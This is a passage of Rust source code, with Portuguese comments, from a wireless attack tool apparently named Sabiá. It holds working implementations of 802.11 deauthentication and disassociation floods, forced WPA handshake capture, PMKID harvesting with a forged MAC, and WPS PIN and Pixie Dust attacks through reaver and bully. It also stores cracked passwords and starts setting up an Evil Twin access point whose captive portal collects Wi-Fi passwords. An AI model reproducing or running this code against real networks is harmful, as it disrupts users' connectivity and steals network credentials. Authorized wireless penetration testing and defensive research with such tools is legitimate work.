if let Some(password) = report.password.as_deref() {
table.lock().unwrap().set_password(
&thread_bssid,
&thread_station,
password,
);
append_audit(
&audit_path,
&audit_lock,
"crack_success",
&iface_name,
&serde_json::json!({
"bssid": thread_bssid,
"station": thread_station,
"tried": report.tried,
"elapsed_ms": report.elapsed_ms,
}),
);
}
guard.report = Some(report);
}
Err(e) => {
guard.status = "error".into();
guard.error = Some(e.to_string());
}
}
});
self.log(
"crack_start",
name,
serde_json::json!({ "job": id, "bssid": hs_bssid, "station": hs_station, "mask": true, "total": total }),
);
Ok(id)
}
pub fn crack_job(&self, id: &str) -> Option<CrackJobInfo> {
self.jobs
.lock()
.unwrap()
.get(id)
.map(|j| j.lock().unwrap().clone())
}
pub fn crack_jobs(&self) -> Vec<CrackJobInfo> {
let jobs = self.jobs.lock().unwrap();
let mut out: Vec<_> = jobs.values().map(|j| j.lock().unwrap().clone()).collect();
out.sort_by(|a, b| {
b.started_unix
.cmp(&a.started_unix)
.then_with(|| a.id.cmp(&b.id))
});
out
}
#[cfg(target_os = "linux")]
pub fn deauth(
&self,
name: &str,
bssid: &str,
station: Option<&str>,
count: u32,
reason: u16,
) -> Result<DeauthReport> {
self.deauth_directional(name, bssid, station, count, reason, "ap", "deauth")
}
/// `direction`: `ap` (AP→STA), `sta` (STA→AP, exige estação) ou `both`.
/// `frame_kind`: `deauth` ou `disassoc`.
#[allow(clippy::too_many_arguments)]
pub fn deauth_directional(
&self,
name: &str,
bssid: &str,
station: Option<&str>,
count: u32,
reason: u16,
direction: &str,
frame_kind: &str,
) -> Result<DeauthReport> {
use crate::inject::{self, RawInjector};
if !(1..=256).contains(&count) {
return Err(SabiaError::InvalidInput(
"quantidade de quadros deve ficar entre 1 e 256".into(),
));
}
if !matches!(direction, "ap" | "sta" | "both") {
return Err(SabiaError::InvalidInput(
"direção inválida: use ap, sta ou both".into(),
));
}
if !matches!(frame_kind, "deauth" | "disassoc") {
return Err(SabiaError::InvalidInput(
"quadro inválido: use deauth ou disassoc".into(),
));
}
if direction != "ap" && station.is_none() {
return Err(SabiaError::InvalidInput(
"direção sta/both exige a estação alvo".into(),
));
}
let info = iface::get(name)?;
if info.mode == Mode::Managed {
return Err(SabiaError::InvalidInput(format!(
"{name} está em modo managed; ative o modo monitor antes de injetar"
)));
}
let ap = parse_mac(bssid)?;
let sta = station.map(parse_mac).transpose()?;
let dest = sta.unwrap_or(inject::BROADCAST);
let reason = inject::Reason::from_u16(reason);
let build = |transmitter: [u8; 6], destination: [u8; 6]| {
if frame_kind == "disassoc" {
inject::disassoc_frame_from(transmitter, ap, destination, reason)
} else {
inject::deauth_frame_from(transmitter, ap, destination, reason)
}
};
let frames: Vec<Vec<u8>> = match direction {
"ap" => vec![build(ap, dest)],
"sta" => vec![build(dest, ap)],
_ => vec![build(ap, dest), build(dest, ap)],
};
let injector = RawInjector::open(name)?;
let mut frames_sent = 0usize;
let mut seq: u16 = 0;
for _ in 0..count {
for frame in &frames {
let mut frame = frame.clone();
seq = seq.wrapping_add(1);
inject::set_seq(&mut frame, seq);
injector.send(&frame)?;
frames_sent += 1;
}
std::thread::sleep(Duration::from_millis(10));
}
let report = DeauthReport {
iface: name.to_string(),
bssid: bssid.to_string(),
station: station.unwrap_or("ff:ff:ff:ff:ff:ff").to_string(),
reason,
frames_sent,
direction: direction.to_string(),
frame_kind: frame_kind.to_string(),
};
self.log(
"deauth",
name,
serde_json::json!({
"bssid": bssid,
"station": report.station,
"reason": reason,
"frames": frames_sent,
"direction": direction,
"frame_kind": frame_kind,
}),
);
Ok(report)
}
/// Inicia uma desautenticação contínua (até `stop_deauth_job`). O canal da
/// captura é travado no canal do AP enquanto o job roda, senão o salto de
/// canais faria os quadros saírem na frequência errada e perderia o
/// handshake. `stop_on_handshake` encerra sozinho quando o par
/// (BSSID, estação) fica quebrável.
#[cfg(target_os = "linux")]
#[allow(clippy::too_many_arguments)]
pub fn start_deauth_job(
&self,
name: &str,
bssid: &str,
station: Option<&str>,
reason: u16,
direction: &str,
frame_kind: &str,
interval_ms: u64,
max_secs: Option<u64>,
stop_on_handshake: bool,
) -> Result<String> {
self.start_deauth_job_burst(
name,
bssid,
station,
reason,
direction,
frame_kind,
interval_ms,
max_secs,
stop_on_handshake,
1,
)
}
#[cfg(target_os = "linux")]
#[allow(clippy::too_many_arguments)]
fn start_deauth_job_burst(
&self,
name: &str,
bssid: &str,
station: Option<&str>,
reason: u16,
direction: &str,
frame_kind: &str,
interval_ms: u64,
max_secs: Option<u64>,
stop_on_handshake: bool,
burst: u32,
) -> Result<String> {
use crate::inject::{self, RawInjector};
if !matches!(direction, "ap" | "sta" | "both") {
return Err(SabiaError::InvalidInput(
"direção inválida: use ap, sta ou both".into(),
));
}
if !matches!(frame_kind, "deauth" | "disassoc") {
return Err(SabiaError::InvalidInput(
"quadro inválido: use deauth ou disassoc".into(),
));
}
if direction != "ap" && station.is_none() {
return Err(SabiaError::InvalidInput(
"direção sta/both exige a estação alvo".into(),
));
}
let info = iface::get(name)?;
if info.mode == Mode::Managed {
return Err(SabiaError::InvalidInput(format!(
"{name} está em modo managed; ative o modo monitor antes de injetar"
)));
}
let ap = parse_mac(bssid)?;
let sta = station.map(parse_mac).transpose()?;
let dest = sta.unwrap_or(inject::BROADCAST);
let reason_enum = inject::Reason::from_u16(reason);
let interval = Duration::from_millis(interval_ms.clamp(50, 5_000));
let max_secs = max_secs.map(|s| s.clamp(1, 3_600));
let already_running = self.deauth_jobs.lock().unwrap().values().any(|j| {
let info = j.info.lock().unwrap();
info.iface == name && info.status == "running"
});
if already_running {
return Err(SabiaError::InvalidInput(format!(
"já existe um job de desautenticação em execução em {name}"
)));
}
let (table, channel, lock_slot) = {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
SabiaError::InvalidInput(format!(
"inicie a captura em {name} antes de iniciar o job"
))
})?;
if !session.running.load(Ordering::SeqCst) {
return Err(SabiaError::InvalidInput(format!(
"a captura em {name} não está ativa"
)));
}
let channel = session
.table
.lock()
.unwrap()
.access_points()
.into_iter()
.find(|a| a.bssid.eq_ignore_ascii_case(bssid))
.and_then(|a| a.channel)
.or(*session.channel.lock().unwrap());
(
session.table.clone(),
channel,
session.locked_channel.clone(),
)
};
if let Some(channel) = channel {
netlink::set_channel(name, channel)?;
*lock_slot.lock().unwrap() = Some(channel);
}
let build = |transmitter: [u8; 6], destination: [u8; 6]| {
if frame_kind == "disassoc" {
inject::disassoc_frame_from(transmitter, ap, destination, reason_enum)
} else {
inject::deauth_frame_from(transmitter, ap, destination, reason_enum)
}
};
let frames: Vec<Vec<u8>> = match direction {
"ap" => vec![build(ap, dest)],
"sta" => vec![build(dest, ap)],
_ => vec![build(ap, dest), build(dest, ap)],
};
let injector = RawInjector::open(name)?;
let id = format!(
"deauth-{}",
self.deauth_seq.fetch_add(1, Ordering::SeqCst) + 1
);
let info = Arc::new(Mutex::new(DeauthJobInfo {
id: id.clone(),
iface: name.to_string(),
bssid: bssid.to_string(),
station: station.map(str::to_string),
reason,
direction: direction.to_string(),
frame_kind: frame_kind.to_string(),
interval_ms: interval.as_millis() as u64,
max_secs,
frames_sent: 0,
channel,
stop_on_handshake,
handshake: false,
status: "running".into(),
error: None,
started_unix: unix_now(),
finished_unix: None,
}));
let stop = Arc::new(AtomicBool::new(false));
let thread_info = info.clone();
let thread_stop = stop.clone();
let thread_table = table;
let thread_lock = lock_slot.clone();
let iface_name = name.to_string();
let bssid_owned = bssid.to_string();
let station_owned = station.map(str::to_string);
let audit_path = self.audit_path.clone();
let audit_lock = self.audit_lock.clone();
let burst = burst.max(1);
let handle = std::thread::spawn(move || {
let started = Instant::now();
let mut frames_sent = 0usize;
let mut seq: u16 = 0;
let mut error = None;
let mut handshake = false;
let handshake_ready = || {
let table = thread_table.lock().unwrap();
table.handshakes().iter().any(|h| {
h.bssid.eq_ignore_ascii_case(&bssid_owned)
&& h.crackable
&& match station_owned.as_deref() {
Some(station) => station.eq_ignore_ascii_case(&h.station),
None => true,
}
})
};
while !thread_stop.load(Ordering::SeqCst) {
if max_secs.is_some_and(|s| started.elapsed() >= Duration::from_secs(s)) {
break;
}
// Confere antes de uma nova rajada para não interromper um
// handshake que chegou enquanto o job esperava a reassociação.
if stop_on_handshake && handshake_ready() {
handshake = true;
break;
}
for round in 0..burst {
for frame in &frames {
let mut frame = frame.clone();
seq = seq.wrapping_add(1);
inject::set_seq(&mut frame, seq);
if let Err(e) = injector.send(&frame) {
error = Some(e.to_string());
break;
}
frames_sent += 1;
}
if error.is_some() {
break;
}
if burst > 1 && round + 1 < burst {
std::thread::sleep(Duration::from_millis(20));
}
}
if let Ok(mut j) = thread_info.lock() {
j.frames_sent = frames_sent;
}
if error.is_some() {
break;
}
if stop_on_handshake && handshake_ready() {
handshake = true;
break;
}
std::thread::sleep(interval);
}
*thread_lock.lock().unwrap() = None;
let stopped = thread_stop.load(Ordering::SeqCst);
let mut guard = thread_info.lock().unwrap();
guard.frames_sent = frames_sent;
guard.handshake = handshake;
guard.finished_unix = Some(unix_now());
guard.status = if error.is_some() {
"error".into()
} else if stopped {
"stopped".into()
} else {
"done".into()
};
guard.error = error;
let status = guard.status.clone();
drop(guard);
append_audit(
&audit_path,
&audit_lock,
"deauth_job",
&iface_name,
&serde_json::json!({
"bssid": bssid_owned,
"station": station_owned,
"frames": frames_sent,
"status": status,
"handshake": handshake,
}),
);
});
self.deauth_jobs.lock().unwrap().insert(
id.clone(),
DeauthJob {
info: info.clone(),
stop,
handle: Some(handle),
locked_channel: channel,
},
);
self.log(
"deauth_start",
name,
serde_json::json!({
"job": id,
"bssid": bssid,
"station": station,
"direction": direction,
"frame_kind": frame_kind,
"channel": channel,
}),
);
Ok(id)
}
#[cfg(not(target_os = "linux"))]
#[allow(clippy::too_many_arguments)]
pub fn start_deauth_job(
&self,
_name: &str,
_bssid: &str,
_station: Option<&str>,
_reason: u16,
_direction: &str,
_frame_kind: &str,
_interval_ms: u64,
_max_secs: Option<u64>,
_stop_on_handshake: bool,
) -> Result<String> {
Err(SabiaError::UnsupportedPlatform)
}
#[cfg(target_os = "linux")]
pub fn stop_deauth_job(&self, id: &str) -> Result<()> {
let (stop, handle, info, channel) = {
let mut jobs = self.deauth_jobs.lock().unwrap();
let job = jobs
.get_mut(id)
.ok_or_else(|| SabiaError::InvalidInput("job de deauth não encontrado".into()))?;
job.stop.store(true, Ordering::SeqCst);
(
job.stop.clone(),
job.handle.take(),
job.info.clone(),
job.locked_channel,
)
};
if let Some(handle) = handle {
let _ = handle.join();
}
let _ = stop;
let mut guard = info.lock().unwrap();
if guard.status == "running" {
guard.status = "stopped".into();
guard.finished_unix = Some(unix_now());
}
let iface = guard.iface.clone();
drop(guard);
if channel.is_some() {
if let Some(session) = self.sessions.lock().unwrap().get(&iface) {
*session.locked_channel.lock().unwrap() = None;
}
}
Ok(())
}
#[cfg(not(target_os = "linux"))]
pub fn stop_deauth_job(&self, _id: &str) -> Result<()> {
Err(SabiaError::UnsupportedPlatform)
}
pub fn deauth_job(&self, id: &str) -> Option<DeauthJobInfo> {
self.deauth_jobs
.lock()
.unwrap()
.get(id)
.map(|j| j.info.lock().unwrap().clone())
}
pub fn deauth_jobs(&self) -> Vec<DeauthJobInfo> {
let jobs = self.deauth_jobs.lock().unwrap();
let mut out: Vec<_> = jobs
.values()
.map(|j| j.info.lock().unwrap().clone())
.collect();
out.sort_by(|a, b| {
b.started_unix
.cmp(&a.started_unix)
.then_with(|| a.id.cmp(&b.id))
});
out
}
fn stop_deauth_for_iface(&self, name: &str) -> Vec<String> {
let ids: Vec<String> = self
.deauth_jobs
.lock()
.unwrap()
.iter()
.filter(|(_, j)| {
let info = j.info.lock().unwrap();
info.iface == name && info.status == "running"
})
.map(|(id, _)| id.clone())
.collect();
for id in &ids {
let _ = self.stop_deauth_job(id);
}
ids
}
/// Atalho para “forçar handshake”: escolhe um cliente associado (quando
/// nenhum foi indicado), trava o canal do AP e envia rajadas espaçadas.
/// O espaço entre as rajadas é essencial: deauth a cada 120 ms mantém o
/// cliente fora do ar e pode impedir a reassociação que produz o EAPOL.
#[cfg(target_os = "linux")]
pub fn capture_handshake(
&self,
name: &str,
bssid: &str,
station: Option<&str>,
seconds: Option<u64>,
) -> Result<String> {
let station = station
.map(str::to_string)
.or_else(|| self.first_associated_station(name, bssid));
let direction = if station.is_some() { "both" } else { "ap" };
self.start_deauth_job_burst(
name,
bssid,
station.as_deref(),
7,
direction,
"deauth",
1_500,
Some(seconds.unwrap_or(30).clamp(5, 300)),
true,
5,
)
}
#[cfg(target_os = "linux")]
fn first_associated_station(&self, name: &str, bssid: &str) -> Option<String> {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name)?;
let table = session.table.lock().unwrap();
table
.clients()
.into_iter()
.find(|c| {
c.associated
&& c.mac != bssid
&& c.bssid
.as_deref()
.is_some_and(|b| b.eq_ignore_ascii_case(bssid))
})
.map(|c| c.mac)
}
#[cfg(not(target_os = "linux"))]
pub fn capture_handshake(
&self,
_name: &str,
_bssid: &str,
_station: Option<&str>,
_seconds: Option<u64>,
) -> Result<String> {
Err(SabiaError::UnsupportedPlatform)
}
#[cfg(not(target_os = "linux"))]
pub fn deauth(
&self,
_name: &str,
_bssid: &str,
_station: Option<&str>,
_count: u32,
_reason: u16,
) -> Result<DeauthReport> {
Err(SabiaError::UnsupportedPlatform)
}
#[cfg(not(target_os = "linux"))]
#[allow(clippy::too_many_arguments)]
pub fn deauth_directional(
&self,
_name: &str,
_bssid: &str,
_station: Option<&str>,
_count: u32,
_reason: u16,
_direction: &str,
_frame_kind: &str,
) -> Result<DeauthReport> {
Err(SabiaError::UnsupportedPlatform)
}
/// Tenta provocar a mensagem 1 com PMKID: autentica e envia um
/// association request com RSN/PMKID usando um MAC local forjado. É o
/// mesmo gatilho do ataque clientless, mas depende do AP — muitos só
/// incluem PMKID em roaming real.
#[cfg(target_os = "linux")]
pub fn pmkid_hunt(&self, name: &str, bssid: &str, attempts: u32) -> Result<PmkidReport> {
use crate::inject::{self, RawInjector};
let attempts = attempts.clamp(1, 50);
let info = iface::get(name)?;
if info.mode == Mode::Managed {
return Err(SabiaError::InvalidInput(format!(
"{name} está em modo managed; ative o modo monitor antes do teste PMKID"
)));
}
let running = self
.sessions
.lock()
.unwrap()
.get(name)
.is_some_and(|s| s.running.load(Ordering::SeqCst));
if !running {
return Err(SabiaError::InvalidInput(
"inicie a captura nesta interface antes do teste PMKID".into(),
));
}
let ap = self.session_ap(name, bssid)?.ok_or_else(|| {
SabiaError::InvalidInput("BSSID ainda não visto nesta captura".into())
})?;
let ssid = ap.ssid.clone().filter(|s| !s.is_empty()).ok_or_else(|| {
SabiaError::InvalidInput("SSID oculto: impossível montar o association request".into())
})?;
if let Some(channel) = ap.channel {
self.lock_channel(name, Some(channel))?;
}
let ap_mac = parse_mac(bssid)?;
let station = probe_station_mac();
let akms = akms_for(&ap);
let injector = RawInjector::open(name)?;
let mut frames_sent = 0usize;
for i in 0..attempts {
let auth = inject::auth_frame(ap_mac, station);
injector.send(&auth)?;
frames_sent += 1;
std::thread::sleep(Duration::from_millis(30));
let mut pmkid = [0u8; 16];
pmkid[0] = i as u8 + 1;
pmkid[15] = 0xa5;
let assoc = inject::assoc_request_frame(
ap_mac,
station,
&ssid,
&akms,
ap.pmf,
ap.pmf_required,
pmkid,
);
injector.send(&assoc)?;
frames_sent += 1;
std::thread::sleep(Duration::from_millis(150));
}
std::thread::sleep(Duration::from_millis(800));
let station_text = crate::dot11::mac_to_string(&station);
let handshakes = self.handshakes(Some(name));
let found = handshakes
.iter()
.find(|h| h.bssid.eq_ignore_ascii_case(bssid) && h.pmkid.is_some())
.cloned();
let report = PmkidReport {
iface: name.to_string(),
bssid: bssid.to_string(),
ssid: Some(ssid),
station: station_text,
frames_sent,
pmkid: found.as_ref().and_then(|h| h.pmkid.clone()),
handshakes: handshakes
.iter()
.filter(|h| h.bssid.eq_ignore_ascii_case(bssid))
.count(),
detail: if found.is_some() {
"PMKID observado; exporte em .hc22000 e quebre com hashcat ou pelo Sabiá.".into()
} else {
"Nenhum PMKID apareceu. O AP pode não usar cache de PMKID ou só responder a roaming real; tente também desautenticar um cliente associado.".into()
},
};
self.log(
"pmkid_hunt",
name,
serde_json::json!({
"bssid": bssid,
"station": report.station,
"frames": frames_sent,
"pmkid": report.pmkid,
}),
);
if ap.channel.is_some() {
let _ = self.lock_channel(name, None);
}
Ok(report)
}
fn session_ap(&self, name: &str, bssid: &str) -> Result<Option<AccessPoint>> {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
})?;
let table = session.table.lock().unwrap();
Ok(table
.access_points()
.into_iter()
.find(|a| a.bssid.eq_ignore_ascii_case(bssid)))
}
/// Teste prático de PMF: desautentica nas duas direções e observa se a
/// estação volta a associar. Não é uma prova criptográfica — é o mesmo
/// sinal que um ataque real usaria.
#[cfg(target_os = "linux")]
pub fn pmf_test(
&self,
name: &str,
bssid: &str,
station: &str,
reason: u16,
) -> Result<PmfReport> {
let before = self.client_snapshot(name, station)?;
let channel = self.session_ap(name, bssid)?.and_then(|a| a.channel);
if let Some(channel) = channel {
self.lock_channel(name, Some(channel))?;
}
let started = unix_now();
let sent =
self.deauth_directional(name, bssid, Some(station), 5, reason, "both", "deauth")?;
std::thread::sleep(Duration::from_secs(4));
if channel.is_some() {
let _ = self.lock_channel(name, None);
}
let after = self.client_snapshot(name, station);
let (packets_after, reconnected) = match after {
Ok(Some(c)) => (
c.packets,
c.events
.iter()
.any(|e| e.t >= started && e.kind == "associate"),
),
_ => (0, false),
};
let packets_before = before.map(|c| c.packets).unwrap_or(0);
let (verdict, detail) = if reconnected {
(
"pmf_off",
"A estação voltou a se associar após a desautenticação: PMF não está obrigatório (ou o cliente não o usa).",
)
} else if packets_after > packets_before + 3 {
(
"pmf_off",
"A estação continuou trocando quadros depois da desautenticação; o quadro de gerenciamento provavelmente foi aceito.",
)
} else {
(
"inconclusive",
"A estação não voltou a associar na janela observada. PMF pode estar ativo, ou o cliente simplesmente ficou inativo.",
)
};
let report = PmfReport {
iface: name.to_string(),
bssid: bssid.to_string(),
station: station.to_string(),
frames_sent: sent.frames_sent,
reconnected,
packets_before,
packets_after,
verdict: verdict.to_string(),
detail: detail.to_string(),
};
self.log(
"pmf_test",
name,
serde_json::json!({
"bssid": bssid,
"station": station,
"verdict": verdict,
"reconnected": reconnected,
}),
);
Ok(report)
}
fn client_snapshot(&self, name: &str, station: &str) -> Result<Option<crate::scan::Client>> {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
})?;
let table = session.table.lock().unwrap();
Ok(table.clients().into_iter().find(|c| c.mac == station))
}
pub fn wps_tools(&self) -> Vec<crate::wps::WpsTool> {
crate::wps::tools()
}
/// Inicia reaver/bully como processo filho. Sem PIN, o reaver usa Pixie
/// Dust. A saída é lida ao vivo e o PIN/PSK é extraído quando aparece.
#[cfg(target_os = "linux")]
pub fn start_wps(
&self,
name: &str,
bssid: &str,
channel: u32,
tool: &str,
pin: Option<&str>,
) -> Result<String> {
use std::io::{BufRead, BufReader};
use std::process::{Command, Stdio};
let path = crate::wps::tool_path(tool).ok_or_else(|| {
SabiaError::InvalidInput(format!(
"{tool} não está disponível; o reaver integrado não pôde ser extraído"
))
})?;
if let Some(pin) = pin {
if pin.len() != 8 || !pin.chars().all(|c| c.is_ascii_digit()) {
return Err(SabiaError::InvalidInput(
"PIN WPS deve ter 8 dígitos".into(),
));
}
}
parse_mac(bssid)?;
let info = iface::get(name)?;
if info.mode == Mode::Managed {
return Err(SabiaError::InvalidInput(format!(
"{name} está em modo managed; ative o modo monitor antes do ataque WPS"
)));
}
let lock_slot = if channel > 0 {
self.lock_channel(name, Some(channel))?;
self.sessions
.lock()
.unwrap()
.get(name)
.map(|s| s.locked_channel.clone())
} else {
None
};
let id = format!("wps-{}", self.wps_seq.fetch_add(1, Ordering::SeqCst) + 1);
let job = Arc::new(Mutex::new(WpsJobInfo {
id: id.clone(),
iface: name.to_string(),
bssid: bssid.to_string(),
tool: tool.to_string(),
status: "running".into(),
pin: pin.map(str::to_string),
password: None,
output: Vec::new(),
error: None,
started_unix: unix_now(),
finished_unix: None,
pid: None,
}));
self.wps_jobs
.lock()
.unwrap()
.insert(id.clone(), job.clone());
let args = crate::wps::args(tool, name, bssid, channel, pin);
let audit_path = self.audit_path.clone();
let audit_lock = self.audit_lock.clone();
let iface_name = name.to_string();
let bssid_owned = bssid.to_string();
let tool_owned = tool.to_string();
let pin_owned = pin.map(str::to_string);
let thread_job = job.clone();
let thread_lock = lock_slot;
let wps_dir =
std::env::temp_dir().join(format!("sabia-wps-{}", unsafe { libc::geteuid() }));
let _ = std::fs::create_dir_all(&wps_dir);
std::thread::spawn(move || {
let mut command = Command::new(&path);
command
.args(&args)
.current_dir(&wps_dir)
.stdout(Stdio::piped())
.stderr(Stdio::piped());
let mut child = match command.spawn() {
Ok(child) => child,
Err(e) => {
if let Ok(mut j) = thread_job.lock() {
j.status = "error".into();
j.error =
Some(format!("não foi possível executar {}: {e}", path.display()));
j.finished_unix = Some(unix_now());
}
if let Some(lock) = &thread_lock {
*lock.lock().unwrap() = None;
}
return;
}
};
if let Ok(mut j) = thread_job.lock() {
j.pid = Some(child.id());
}
let mut readers = Vec::new();
if let Some(stdout) = child.stdout.take() {
let job = thread_job.clone();
readers.push(std::thread::spawn(move || {
for line in BufReader::new(stdout)
.lines()
.map_while(std::result::Result::ok)
{
record_wps_line(&job, &line);
}
}));
}
if let Some(stderr) = child.stderr.take() {
let job = thread_job.clone();
readers.push(std::thread::spawn(move || {
for line in BufReader::new(stderr)
.lines()
.map_while(std::result::Result::ok)
{
record_wps_line(&job, &line);
}
}));
}
let status = child.wait();
for reader in readers {
let _ = reader.join();
}
if let Some(lock) = &thread_lock {
*lock.lock().unwrap() = None;
}
let mut guard = thread_job.lock().unwrap();
guard.finished_unix = Some(unix_now());
if guard.status == "stopped" {
return;
}
let found = guard.password.is_some();
match status {
Ok(s) if s.success() || found => {
guard.status = "done".into();
if !found {
guard.error = Some("a ferramenta terminou sem informar PSK".into());
}
}
Ok(s) => {
guard.status = "error".into();
guard.error = Some(format!(
"{} terminou com código {}",
path.display(),
s.code().unwrap_or(-1)
));
}
Err(e) => {
guard.status = "error".into();
guard.error = Some(e.to_string());
}
}
let password = guard.password.clone();
drop(guard);
append_audit(
&audit_path,
&audit_lock,
"wps_attack",
&iface_name,
&serde_json::json!({
"bssid": bssid_owned,
"tool": tool_owned,
"pin": pin_owned,
"success": password.is_some(),
}),
);
});
self.log(
"wps_start",
name,
serde_json::json!({ "job": id, "bssid": bssid, "tool": tool }),
);
Ok(id)
}
#[cfg(not(target_os = "linux"))]
#[allow(clippy::too_many_arguments)]
pub fn start_wps(
&self,
_name: &str,
_bssid: &str,
_channel: u32,
_tool: &str,
_pin: Option<&str>,
) -> Result<String> {
Err(SabiaError::UnsupportedPlatform)
}
pub fn wps_job(&self, id: &str) -> Option<WpsJobInfo> {
self.wps_jobs
.lock()
.unwrap()
.get(id)
.map(|j| j.lock().unwrap().clone())
}
pub fn wps_jobs(&self) -> Vec<WpsJobInfo> {
let jobs = self.wps_jobs.lock().unwrap();
let mut out: Vec<_> = jobs.values().map(|j| j.lock().unwrap().clone()).collect();
out.sort_by_key(|a| std::cmp::Reverse(a.started_unix));
out
}
#[cfg(target_os = "linux")]
pub fn stop_wps(&self, id: &str) -> Result<()> {
let job = self
.wps_jobs
.lock()
.unwrap()
.get(id)
.cloned()
.ok_or_else(|| SabiaError::InvalidInput("job WPS não encontrado".into()))?;
let pid = job.lock().unwrap().pid;
if let Some(pid) = pid {
// SAFETY: sinal para o processo filho que este próprio Sabiá criou.
unsafe {
libc::kill(pid as i32, libc::SIGTERM);
}
}
let mut guard = job.lock().unwrap();
guard.status = "stopped".into();
guard.finished_unix = Some(unix_now());
let iface = guard.iface.clone();
drop(guard);
if let Some(session) = self.sessions.lock().unwrap().get(&iface) {
*session.locked_channel.lock().unwrap() = None;
}
Ok(())
}
#[cfg(not(target_os = "linux"))]
pub fn stop_wps(&self, _id: &str) -> Result<()> {
Err(SabiaError::UnsupportedPlatform)
}
/// Evil Twin + portal cativo: clona um AP já visto nesta sessão (SSID
/// aberto, numa segunda interface em modo AP) e sobe um portal que pede
/// a senha — conferida na hora contra um handshake real já capturado
/// desse BSSID, não aceita qualquer coisa digitada. Por isso exige um
/// handshake quebrável já presente na tabela: é o mesmo requisito do
/// botão "Quebrar senha", só que a verificação acontece ao vivo, uma
/// tentativa por vez, em vez de testar um dicionário inteiro.
///
/// Precisa de `hostapd` instalado e de uma segunda interface Wi-Fi
/// capaz de modo AP, diferente da que está capturando/desautenticando.
#[cfg(target_os = "linux")]
#[allow(clippy::too_many_arguments)]
pub fn start_evil_twin(
&self,
name: &str,
ap_iface: &str,
bssid: &str,
portal_port: u16,
deauth_real_ap: bool,
) -> Result<String> {
use std::fs;
use std::process::{Command, Stdio};
parse_mac(bssid)?;
if ap_iface == name {
return Err(SabiaError::InvalidInput(
"a interface do clone precisa ser diferente da que está capturando".into(),
));
}
let (table, ssid, channel) = {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
})?;
let table = session.table.clone();
let t = table.lock().unwrap();
let ap = t
.access_points()
.into_iter()
.find(|a| a.bssid.eq_ignore_ascii_case(bssid))
.ok_or_else(|| {
SabiaError::InvalidInput(
"esse BSSID ainda não apareceu nesta sessão de captura".into(),
)
})?;
let ssid = ap.ssid.clone().filter(|s| !s.is_empty()).ok_or_else(|| {
SabiaError::InvalidInput("rede oculta: sem SSID não dá pra clonar".into())
})?;
let channel = ap.channel.ok_or_else(|| {
SabiaError::InvalidInput("canal do AP ainda não identificado".into())
})?;
drop(t);
(table, ssid, channel)
};
let hs = {
let t = table.lock().unwrap();
t.first_crackable(Some(bssid), None).cloned()
}
.ok_or_else(|| {
SabiaError::InvalidInput(
"capture um handshake quebrável desse AP antes (aba Handshake → Forçar handshake)"
.into(),
)
})?;
let target = crack::CrackTarget::from_handshake(&hs).ok_or_else(|| {
SabiaError::InvalidInput("handshake sem dados suficientes pra conferir senha".into())
})?;
crate::wps::find_in_path("hostapd").ok_or_else(|| {
SabiaError::InvalidInput(
"hostapd não está instalado (sudo apt install hostapd) — necessário pro Evil Twin"
.into(),
)
})?;
let info = iface::get(ap_iface)?;
if info.mode != Mode::Managed && info.mode != Mode::Monitor {
return Err(SabiaError::InvalidInput(format!(
"{ap_iface} está num modo que o hostapd não consegue usar"
)));
}
const GATEWAY_IP: &str = "10.90.90.1";
const DHCP_RANGE: (&str, &str) = ("10.90.90.10", "10.90.90.200");
let dir =
std::env::temp_dir().join(format!("sabia-eviltwin-{}", unsafe { libc::geteuid() }));
fs::create_dir_all(&dir).map_err(SabiaError::Io)?;
let hostapd_conf_path = dir.join(format!("hostapd-{ap_iface}.conf"));
let dnsmasq_conf_path = dir.join(format!("dnsmasq-{ap_iface}.conf"));
fs::write(
&hostapd_conf_path,
crate::eviltwin::hostapd_conf(ap_iface, &ssid, channel, None),
)
.map_err(SabiaError::Io)?;
fs::write(
&dnsmasq_conf_path,
crate::eviltwin::dnsmasq_conf(ap_iface, GATEWAY_IP, DHCP_RANGE),
)
.map_err(SabiaError::Io)?;
// Estado em disco pra recuperação: se este processo morrer (Ctrl+C
// sem handler, kill -9, queda de energia) antes da thread de
// limpeza rodar, as duas interfaces ficam presas em `managed no`
// pro NetworkManager pra sempre e o hostapd/dnsmasq ficam órfãos —
// na prática o Wi-Fi inteiro desaparece da configuração do sistema
// (nenhum dispositivo gerenciado pro painel mostrar). `self_heal_eviltwin_leftovers`
// lê este arquivo no próximo início do engine e desfaz tudo.
let state_path = dir.join(format!("state-{ap_iface}.json"));
let _ = fs::write(
&state_path,
serde_json::json!({
"ap_iface": ap_iface,
"capture_iface": name,
"portal_port": portal_port,
"hostapd_conf": hostapd_conf_path.to_string_lossy(),
"dnsmasq_conf": dnsmasq_conf_path.to_string_lossy(),
})
.to_string(),
);
// Se o NetworkManager (ou outro gerenciador) estiver cuidando dessa
// interface, ele reafirma a própria conexão por cima e o hostapd
// nunca consegue de fato assumir o rádio — fica "rodando" sem subir
// o AP. Solta a interface antes (best-effort: segue em frente mesmo
// sem nmcli, só não vai funcionar contra uma interface gerenciada).
//
// A interface de CAPTURA também precisa ficar fora do NetworkManager
// nesse momento: visto ao vivo — ao soltar só a `ap_iface`, o NM
// "resgatou" uma conexão salva daquele SSID pra outra placa Wi-Fi
// gerenciável disponível (a própria interface de captura!), tirando
// ela do modo monitor no meio da sessão. Solta as duas.
let _ = Command::new("nmcli")
.args(["device", "set", ap_iface, "managed", "no"])
.status();
let _ = Command::new("nmcli")
.args(["device", "set", name, "managed", "no"])
.status();
// Endereço do gateway na interface do clone, antes de subir o
// hostapd/dnsmasq — sem isso o DHCP não tem o que anunciar.
let _ = Command::new("ip")
.args(["addr", "flush", "dev", ap_iface])
.status();
let _ = Command::new("ip")
.args(["addr", "add", &format!("{GATEWAY_IP}/24"), "dev", ap_iface])
.status();
let _ = Command::new("ip")
.args(["link", "set", ap_iface, "up"])
.status();
// A saída do hostapd ia pro vácuo (Stdio::null()); quando ele morre
// na hora (config que o driver recusa, canal/banda que a placa não
// suporta de verdade, etc.) a única pista era um processo
// "<defunct>" sem explicação nenhuma. Grava num arquivo pra poder
